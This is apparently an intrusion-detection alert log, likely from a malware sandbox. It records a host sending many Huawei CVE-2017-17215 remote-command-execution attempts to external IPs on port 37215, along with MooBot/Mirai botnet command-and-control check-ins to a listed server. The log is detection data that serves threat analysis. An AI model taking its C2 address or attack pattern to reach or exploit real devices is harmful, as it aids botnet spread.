2024-08-01T15:36:44.214612+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33270	37215	192.168.2.14	197.185.159.142
2024-08-01T15:36:51.590957+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48406	37215	192.168.2.14	41.243.98.102
2024-08-01T15:35:20.208884+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55512	37215	192.168.2.14	41.170.96.15
2024-08-01T15:35:16.543076+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36242	37215	192.168.2.14	41.183.144.125
2024-08-01T15:35:56.488750+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57916	37215	192.168.2.14	157.0.217.249
2024-08-01T15:35:21.865516+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51110	37215	192.168.2.14	157.242.52.91
2024-08-01T15:35:21.878607+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59124	37215	192.168.2.14	157.154.48.216
2024-08-01T15:36:18.249422+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49514	37215	192.168.2.14	197.59.224.155
2024-08-01T15:35:20.545269+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42898	37215	192.168.2.14	101.107.3.199
2024-08-01T15:35:21.938815+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41138	37215	192.168.2.14	113.16.222.200
2024-08-01T15:35:21.918388+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54542	37215	192.168.2.14	197.202.200.221
2024-08-01T15:36:53.965297+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57106	37215	192.168.2.14	41.190.195.114
2024-08-01T15:35:21.865131+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50214	37215	192.168.2.14	111.109.25.218
2024-08-01T15:36:00.000161+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50948	37215	192.168.2.14	197.9.216.205
2024-08-01T15:35:40.233616+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45132	37215	192.168.2.14	157.24.137.147
2024-08-01T15:35:50.278599+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54240	37215	192.168.2.14	41.211.255.34
2024-08-01T15:35:21.883940+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56658	37215	192.168.2.14	41.74.123.25
2024-08-01T15:36:51.697344+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40746	37215	192.168.2.14	197.255.151.46
2024-08-01T15:35:21.881552+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44458	37215	192.168.2.14	197.167.39.95
2024-08-01T15:36:40.247813+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37768	37215	192.168.2.14	157.199.222.189
2024-08-01T15:35:50.304355+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36464	37215	192.168.2.14	41.203.228.187
2024-08-01T15:36:14.833486+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52838	37215	192.168.2.14	197.72.52.203
2024-08-01T15:37:00.047536+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45684	56999	192.168.2.14	103.238.235.163
2024-08-01T15:35:20.214729+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54412	37215	192.168.2.14	41.28.20.27
2024-08-01T15:35:20.574990+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59172	37215	192.168.2.14	197.125.178.115
2024-08-01T15:36:11.950833+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50328	37215	192.168.2.14	19.178.184.247
2024-08-01T15:36:14.831311+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55008	37215	192.168.2.14	197.114.59.24
2024-08-01T15:36:51.592829+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37400	37215	192.168.2.14	157.138.103.245
2024-08-01T15:35:54.405300+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58080	37215	192.168.2.14	197.227.247.47
2024-08-01T15:36:18.277824+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46806	37215	192.168.2.14	147.160.41.110
2024-08-01T15:35:40.229438+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55406	37215	192.168.2.14	41.96.27.25
2024-08-01T15:34:57.545792+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56550	37215	192.168.2.14	197.130.235.100
2024-08-01T15:35:16.382621+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60540	37215	192.168.2.14	164.63.63.103
2024-08-01T15:35:16.664090+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34432	37215	192.168.2.14	41.184.88.67
2024-08-01T15:35:20.206627+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47634	37215	192.168.2.14	41.181.87.70
2024-08-01T15:36:49.677637+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52612	37215	192.168.2.14	89.237.165.208
2024-08-01T15:35:37.237969+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60962	37215	192.168.2.14	98.137.180.211
2024-08-01T15:36:24.605577+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50146	37215	192.168.2.14	197.128.198.92
2024-08-01T15:36:52.685384+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44398	37215	192.168.2.14	53.175.217.32
2024-08-01T15:35:50.253699+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54100	37215	192.168.2.14	197.97.108.234
2024-08-01T15:35:54.399410+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	52048	56999	192.168.2.14	103.238.235.163
2024-08-01T15:35:25.949278+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58222	37215	192.168.2.14	157.36.218.204
2024-08-01T15:36:26.572109+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43926	37215	192.168.2.14	81.74.154.65
2024-08-01T15:35:53.374575+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50086	37215	192.168.2.14	46.123.34.155
2024-08-01T15:35:21.876555+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60206	37215	192.168.2.14	41.56.153.170
2024-08-01T15:35:21.905940+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59754	37215	192.168.2.14	197.71.147.151
2024-08-01T15:35:53.373252+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48286	37215	192.168.2.14	197.170.167.93
2024-08-01T15:36:09.886012+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59710	37215	192.168.2.14	131.32.136.126
2024-08-01T15:36:51.588995+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42474	37215	192.168.2.14	41.245.178.41
2024-08-01T15:36:09.948014+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47172	37215	192.168.2.14	157.39.98.142
2024-08-01T15:36:11.949297+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33352	37215	192.168.2.14	157.153.44.115
2024-08-01T15:35:35.123131+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55356	37215	192.168.2.14	157.212.72.123
2024-08-01T15:35:50.305670+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54576	37215	192.168.2.14	9.29.51.199
2024-08-01T15:35:16.592364+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39250	37215	192.168.2.14	147.211.62.145
2024-08-01T15:35:20.209134+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32954	37215	192.168.2.14	41.85.120.196
2024-08-01T15:35:21.852122+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54792	37215	192.168.2.14	157.124.63.138
2024-08-01T15:35:33.066719+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50640	37215	192.168.2.14	197.193.66.242
2024-08-01T15:35:20.203346+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39132	37215	192.168.2.14	41.243.30.216
2024-08-01T15:36:20.493282+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57476	37215	192.168.2.14	197.170.44.175
2024-08-01T15:35:21.878611+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56008	37215	192.168.2.14	18.194.167.50
2024-08-01T15:36:29.402902+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44346	37215	192.168.2.14	41.238.225.150
2024-08-01T15:35:20.210158+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43542	37215	192.168.2.14	197.237.2.174
2024-08-01T15:35:20.206459+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44610	37215	192.168.2.14	9.50.79.142
2024-08-01T15:35:48.347789+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34710	37215	192.168.2.14	66.209.241.118
2024-08-01T15:36:24.453302+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44260	37215	192.168.2.14	157.184.69.94
2024-08-01T15:36:30.755471+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49598	37215	192.168.2.14	203.160.214.142
2024-08-01T15:36:35.026816+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57954	37215	192.168.2.14	41.41.178.101
2024-08-01T15:35:21.883260+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37024	37215	192.168.2.14	41.238.48.28
2024-08-01T15:35:32.993625+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40406	37215	192.168.2.14	96.182.207.160
2024-08-01T15:35:16.588866+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48036	37215	192.168.2.14	110.208.30.2
2024-08-01T15:36:39.036640+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53786	37215	192.168.2.14	157.137.243.167
2024-08-01T15:35:17.246206+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52192	37215	192.168.2.14	41.148.255.61
2024-08-01T15:35:21.909389+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48166	37215	192.168.2.14	197.111.174.10
2024-08-01T15:35:20.207086+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33316	37215	192.168.2.14	197.252.210.245
2024-08-01T15:36:16.184130+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43908	37215	192.168.2.14	41.42.89.4
2024-08-01T15:35:40.227980+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47084	37215	192.168.2.14	41.142.238.155
2024-08-01T15:36:14.830033+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37472	37215	192.168.2.14	140.59.221.250
2024-08-01T15:35:04.273579+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37734	37215	192.168.2.14	197.6.51.90
2024-08-01T15:35:20.203985+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41632	37215	192.168.2.14	157.143.77.8
2024-08-01T15:36:22.372236+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45086	37215	192.168.2.14	157.169.65.163
2024-08-01T15:36:14.831655+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60880	37215	192.168.2.14	223.152.219.191
2024-08-01T15:35:37.166984+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56116	37215	192.168.2.14	157.240.122.214
2024-08-01T15:35:43.357179+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56356	37215	192.168.2.14	198.108.125.163
2024-08-01T15:35:45.291770+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50782	37215	192.168.2.14	157.163.146.154
2024-08-01T15:35:21.936206+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60258	37215	192.168.2.14	197.41.194.147
2024-08-01T15:36:18.242512+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47306	37215	192.168.2.14	157.241.225.109
2024-08-01T15:35:54.576884+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45638	37215	192.168.2.14	187.69.142.105
2024-08-01T15:35:56.431311+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33776	37215	192.168.2.14	41.32.1.175
2024-08-01T15:36:09.905366+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40378	37215	192.168.2.14	41.70.98.211
2024-08-01T15:35:20.214168+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46658	37215	192.168.2.14	41.52.215.85
2024-08-01T15:35:50.253703+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46556	37215	192.168.2.14	157.108.36.42
2024-08-01T15:36:09.899623+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45250	37215	192.168.2.14	197.219.236.13
2024-08-01T15:36:13.087527+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59196	37215	192.168.2.14	46.3.235.63
2024-08-01T15:36:30.755512+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52618	37215	192.168.2.14	197.23.204.192
2024-08-01T15:35:20.205779+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45016	37215	192.168.2.14	136.240.75.168
2024-08-01T15:35:20.204288+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43696	37215	192.168.2.14	177.117.141.141
2024-08-01T15:35:35.121140+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35484	37215	192.168.2.14	157.31.24.241
2024-08-01T15:36:51.564730+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44962	37215	192.168.2.14	157.96.195.212
2024-08-01T15:35:20.202748+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43028	37215	192.168.2.14	147.57.45.29
2024-08-01T15:35:53.373428+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54332	37215	192.168.2.14	70.223.64.71
2024-08-01T15:35:23.985548+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49568	37215	192.168.2.14	197.71.188.245
2024-08-01T15:36:18.249426+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49376	37215	192.168.2.14	157.200.119.148
2024-08-01T15:35:56.485424+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42768	37215	192.168.2.14	74.197.157.70
2024-08-01T15:35:21.905547+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50658	37215	192.168.2.14	41.88.37.150
2024-08-01T15:36:18.250491+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54132	37215	192.168.2.14	41.187.40.199
2024-08-01T15:35:20.214979+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54618	37215	192.168.2.14	157.225.205.202
2024-08-01T15:36:03.587857+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58232	37215	192.168.2.14	41.163.81.15
2024-08-01T15:35:45.270462+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57426	37215	192.168.2.14	197.0.124.20
2024-08-01T15:35:16.760200+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52692	37215	192.168.2.14	157.88.238.24
2024-08-01T15:36:11.966349+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35600	37215	192.168.2.14	125.214.179.141
2024-08-01T15:35:21.880917+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54614	37215	192.168.2.14	91.194.45.38
2024-08-01T15:35:50.289335+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59788	37215	192.168.2.14	41.182.76.222
2024-08-01T15:36:34.855523+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33434	37215	192.168.2.14	197.28.201.10
2024-08-01T15:35:37.222060+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60324	37215	192.168.2.14	41.225.123.14
2024-08-01T15:35:43.304774+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35376	37215	192.168.2.14	157.154.158.35
2024-08-01T15:35:50.289720+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48234	37215	192.168.2.14	157.189.38.15
2024-08-01T15:35:50.299579+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46510	37215	192.168.2.14	197.107.167.38
2024-08-01T15:35:20.207254+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38384	37215	192.168.2.14	41.86.147.45
2024-08-01T15:35:37.292975+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56412	37215	192.168.2.14	157.86.153.164
2024-08-01T15:36:30.753312+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51320	37215	192.168.2.14	41.98.36.78
2024-08-01T15:36:11.953774+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50854	37215	192.168.2.14	197.84.95.214
2024-08-01T15:36:40.246322+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37322	37215	192.168.2.14	197.52.183.71
2024-08-01T15:35:17.144677+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47550	37215	192.168.2.14	157.43.122.94
2024-08-01T15:36:34.903492+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47424	37215	192.168.2.14	157.110.209.130
2024-08-01T15:35:21.879250+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47842	37215	192.168.2.14	197.85.142.182
2024-08-01T15:35:35.138987+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44222	37215	192.168.2.14	77.167.204.16
2024-08-01T15:35:37.221208+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58878	37215	192.168.2.14	197.239.57.146
2024-08-01T15:35:50.253834+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41760	37215	192.168.2.14	157.111.189.64
2024-08-01T15:36:20.314247+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42834	37215	192.168.2.14	197.242.5.16
2024-08-01T15:36:16.166693+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56238	37215	192.168.2.14	197.84.220.21
2024-08-01T15:35:54.508742+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54320	37215	192.168.2.14	41.169.242.139
2024-08-01T15:36:52.802593+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54932	37215	192.168.2.14	106.225.197.226
2024-08-01T15:36:26.649283+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51574	37215	192.168.2.14	157.186.9.210
2024-08-01T15:35:17.111004+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57376	37215	192.168.2.14	157.180.101.63
2024-08-01T15:35:40.223392+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46588	37215	192.168.2.14	157.35.157.223
2024-08-01T15:35:32.995369+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48570	37215	192.168.2.14	157.14.196.60
2024-08-01T15:35:40.242217+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59432	37215	192.168.2.14	104.242.171.149
2024-08-01T15:36:42.202631+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34416	37215	192.168.2.14	151.133.53.213
2024-08-01T15:36:09.904382+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54208	37215	192.168.2.14	150.150.233.120
2024-08-01T15:36:11.950825+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50602	37215	192.168.2.14	143.240.201.245
2024-08-01T15:36:16.170798+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56744	37215	192.168.2.14	124.100.203.116
2024-08-01T15:35:17.058664+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52814	37215	192.168.2.14	41.81.182.25
2024-08-01T15:36:09.901183+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44424	37215	192.168.2.14	197.47.145.240
2024-08-01T15:36:49.822490+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42198	37215	192.168.2.14	208.148.178.70
2024-08-01T15:36:57.616723+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39348	37215	192.168.2.14	157.254.73.187
2024-08-01T15:35:20.206038+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44120	37215	192.168.2.14	197.229.191.118
2024-08-01T15:36:14.842383+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51074	37215	192.168.2.14	197.1.186.179
2024-08-01T15:36:29.402726+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55480	37215	192.168.2.14	128.129.19.13
2024-08-01T15:35:54.680354+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51238	37215	192.168.2.14	12.78.70.34
2024-08-01T15:36:09.886622+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34614	37215	192.168.2.14	41.24.216.84
2024-08-01T15:35:50.304961+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36450	37215	192.168.2.14	41.239.31.161
2024-08-01T15:35:21.884461+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49598	37215	192.168.2.14	41.245.185.224
2024-08-01T15:36:32.783083+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56992	37215	192.168.2.14	197.143.87.75
2024-08-01T15:35:17.163641+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36142	37215	192.168.2.14	163.98.100.231
2024-08-01T15:35:50.305321+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52414	37215	192.168.2.14	44.225.135.135
2024-08-01T15:36:18.262845+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33782	37215	192.168.2.14	41.29.157.1
2024-08-01T15:35:20.203052+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40542	37215	192.168.2.14	197.91.165.77
2024-08-01T15:35:35.639510+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	46812	56999	192.168.2.14	103.238.235.163
2024-08-01T15:35:16.666167+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60932	37215	192.168.2.14	168.234.4.56
2024-08-01T15:36:09.888838+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41350	37215	192.168.2.14	41.7.43.51
2024-08-01T15:36:14.855072+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53964	37215	192.168.2.14	41.190.151.153
2024-08-01T15:35:54.482909+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60386	37215	192.168.2.14	157.74.71.215
2024-08-01T15:35:56.809324+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44254	37215	192.168.2.14	41.68.36.93
2024-08-01T15:35:21.909065+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59596	37215	192.168.2.14	205.168.208.22
2024-08-01T15:35:58.618227+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34080	37215	192.168.2.14	41.44.207.33
2024-08-01T15:36:30.755442+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54028	37215	192.168.2.14	41.185.59.229
